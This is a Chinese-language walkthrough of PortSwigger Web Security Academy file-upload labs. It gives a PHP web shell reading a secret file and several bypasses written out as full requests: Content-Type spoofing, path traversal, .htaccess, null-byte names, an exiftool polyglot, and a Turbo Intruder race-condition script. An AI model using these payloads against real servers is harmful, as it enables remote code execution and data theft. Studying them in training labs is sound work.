upload vulnerabilities

上傳漏洞是指 Web 伺服器允許使用者在未充分驗證檔案名稱、類型、內容或大小等資訊的情況下將檔案上傳到其檔案系統。如果未能正確執行這些安全驗證,可能意味著即使是基本的圖像上傳功能也可以用來上傳任意且具有潛在危險的檔案,像是發動RCE功能,讓伺服器執行攻擊者上傳的惡意腳本。

以下是一個基本的攻擊方式,上傳惡意腳本,目標是執行代碼讀取secret內容

首先建立exploit.php如下

<?php echo file_get_contents('/home/carlos/secret'); ?>

到個人專區使用頭象功能上傳exploit.php後,送出請求看上傳到什麼位置

######### request ###########
GET /my-account?id=wiener


######### responsee ###########
...omit...
<p>   <img src="/files/avatars/exploit.php" class=avatar> </p>
...omit...

確認位置後訪問/files/avatars/exploit.php,惡意代碼執行後成功返回/home/carlos/secret的內容

######### request ###########
GET /files/avatars/exploit.php HTTP/1.1

######### responsee ###########
...omit...
owRf1LMZqjXqxfgH2SGY8i6KmvJ7uCp4
...omit...

Lab: Remote code execution via web shell upload 


饒過保護機制

大部份的檔案上傳功能都有做基本保護,常見的饒過方式有

  • 饒過Content-Type保護
  • 饒過目錄限制保護
  • 利用htaccess饒過保護
  • 利用%00饒過保護
  • 利用條件競速饒過保護


饒過Content-Type保護

有時候會因為Content-Type保護而無法上傳惡意代碼,只要在上傳時指定Content-Type: image/jpeg,就能饒過Content-Type保護,如下

POST /my-account/avatar HTTP/1.1
...omit...

------WebKitFormBoundaryp3oyrc7qYoR2AN9X
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>

Lab: Web shell upload via Content-Type restriction bypass


饒過目錄限制保護

攻擊者上傳檔案的位置,服務器可能己限制該位置無法訪問存取, 因此需要上傳到不同的目錄測試看看。
例如原本的位置/files/avatars/exploit.php 無法存取,但只要把位置換成 /files/avatars/../exploit.php就能執行

如下,上傳時把原本的檔名exploit.php改為..%2fexploit.php

######### request ###########
POST /my-account/avatar HTTP/1.1
Host: 0a2300d303d8d2fac02ef8be007000eb.web-security-academy.net
...omit...
	------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
	Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
	Content-Type: application/octet-stream
	
	<?php echo file_get_contents('/home/carlos/secret'); ?>
	------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
	Content-Disposition: form-data; name="user"
	
	wiener
	------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
	Content-Disposition: form-data; name="csrf"
	
	Kx9hxWw3KQX5cZct0IanSzb8mWfbMSDH
	------WebKitFormBoundaryPdYhK7VJfJQ8LRA7--

######### responsee ###########
HTTP/1.1 200 OK
...omit...
The file avatars/../exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

返回結果時可以發現位置變成avatars/../exploit.php

只要從這個位置就能執行剛上傳的惡意代碼,如下

######### request ###########
	GET /files/avatars/..%2fexploit.php HTTP/1.1
	..omit...

######### responsee ###########
	...omit...
	cY9ns2luFeOcCohVRPee5jaU0lA4NcIo

Lab: Web shell upload via path traversal


利用htaccess饒過保護

如果目標服務器使用限制副檔名的方式禁用.php的檔案,可以嘗試先將.htaccess上傳,該檔案內容如下

AddType application/x-httpd-php php5

接著在把exploit.php改為exploit.php5上傳,如果成功饒過就能執行剛上傳的惡意代碼

Lab: Web shell upload via extension blacklist bypass


利用%00饒過保護

如果目標服務器使用限制副檔名的方式禁用.php的檔案,可以嘗試%00.jpg

例如將原本的exploit.php改名為exploit.php%00.jpg在上傳,如下

######### request ###########
POST /my-account/avatar HTTP/1.1
...omit...
------WebKitFormBoundaryTERgKQlLAnrqsB9K
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
...omit...

######### responsee ###########
...omit...
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

可以返回結果發現檔名又變回exploit.php

Lab: Web shell upload via obfuscated file extension


利用polyglot饒過保護

如果目標服務器禁止上傳php檔案,可以嘗試polyglot

準備一個圖檔,例如dessert.jpg,接著在透過exiftool 工具建立一個PHP/JPG檔,如下

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" dessert.jpg -o polyglot.php

將新產生的polyglot.php上傳,如果目標服務支持該方法,則可執行剛上傳的惡意代碼

Lab: Remote code execution via polyglot web shell upload


利用條件競速饒過保護

假如上傳功能的代碼如下,可以發現檔案上傳後,才會執行checkFileType。換句話說,如果在檢查前就立刻訪問剛上傳的檔案也是可行的

$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {  // servere will check file by checkFileType
   echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
}else{
...omit...         

因此攻擊者必須要在上傳惡意代碼後立刻執行,才可以提前在checkFileType前完成攻擊

可以透過burpsuite/repeater的group send功能,將以下2個請求傳送給目標

group的第一個請求要上傳exploit.php,group的第二個請求要訪問/files/avatars/exploit.php

######### request 1 ###########
POST /my-account/avatar HTTP/1.1 
...omit...
------WebKitFormBoundary6AbLEn8kWARqcr5J 
Content-Disposition: form-data; name="avatar"; filename="exploit.php" 
Content-Type: application/octet-stream 
<?php echo file_get_contents('/home/carlos/secret'); ?> 
------WebKitFormBoundary6AbLEn8kWARqcr5J 
...omit...

######### request 2 ###########
GET /files/avatars/exploit.php HTTP/1.1 
...omit...

也可以透過burpsuite/turbo intruder功能,快速傳送2個請求,代碼如下

def queueRequests(target, wordlists): 
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) 
    request1 = '''
POST /my-account/avatar HTTP/1.1 
Host: 0adb006003a60f93c016dafa00c400c8.web-security-academy.net 
Cookie: session=tUY73RWMyz9mVc5qvhALwRnLR9f0yUqX 
Content-Length: 478 
Cache-Control: max-age=0 
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102" 
Sec-Ch-Ua-Mobile: ?0 
Sec-Ch-Ua-Platform: "Windows" 
Upgrade-Insecure-Requests: 1 
Origin: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6AbLEn8kWARqcr5J 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Sec-Fetch-Site: same-origin 
Sec-Fetch-Mode: navigate 
Sec-Fetch-User: ?1 
Sec-Fetch-Dest: document 
Referer: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net/my-account 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: keep-alive 
------WebKitFormBoundary6AbLEn8kWARqcr5J 
Content-Disposition: form-data; name="avatar"; filename="exploit.php" 
Content-Type: application/octet-stream 
<?php echo file_get_contents('/home/carlos/secret'); ?> 
------WebKitFormBoundary6AbLEn8kWARqcr5J 
Content-Disposition: form-data; name="user" 
wiener 
------WebKitFormBoundary6AbLEn8kWARqcr5J 
Content-Disposition: form-data; name="csrf" 
UnwQ3Vrq6oQtNgnijOnPNLsbLB3vmvML 
------WebKitFormBoundary6AbLEn8kWARqcr5J--
''' 
    request2 = '''
GET /files/avatars/exploit.php HTTP/1.1 
Host: 0adb006003a60f93c016dafa00c400c8.web-security-academy.net 
Cookie: session=tUY73RWMyz9mVc5qvhALwRnLR9f0yUqX 
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102" 
Sec-Ch-Ua-Mobile: ?0 
Sec-Ch-Ua-Platform: "Windows" 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Sec-Fetch-Site: same-origin 
Sec-Fetch-Mode: navigate 
Sec-Fetch-User: ?1 
Sec-Fetch-Dest: document 
Referer: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net/my-account/avatar 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Connection: keep-alive
''' 
    # the 'gate' argument blocks the final byte of each request until openGate is invoked 
    engine.queue(request1, gate='race1') 
    for x in range(5): 
        engine.queue(request2, gate='race1') 
    # wait until every 'race1' tagged request is ready 
    # then send the final byte of each request 
    # (this method is non-blocking, just like queue) 
    engine.openGate('race1') 
    engine.complete(timeout=60) 
def handleResponse(req, interesting): 
    table.add(req)

Lab: Web shell upload via race condition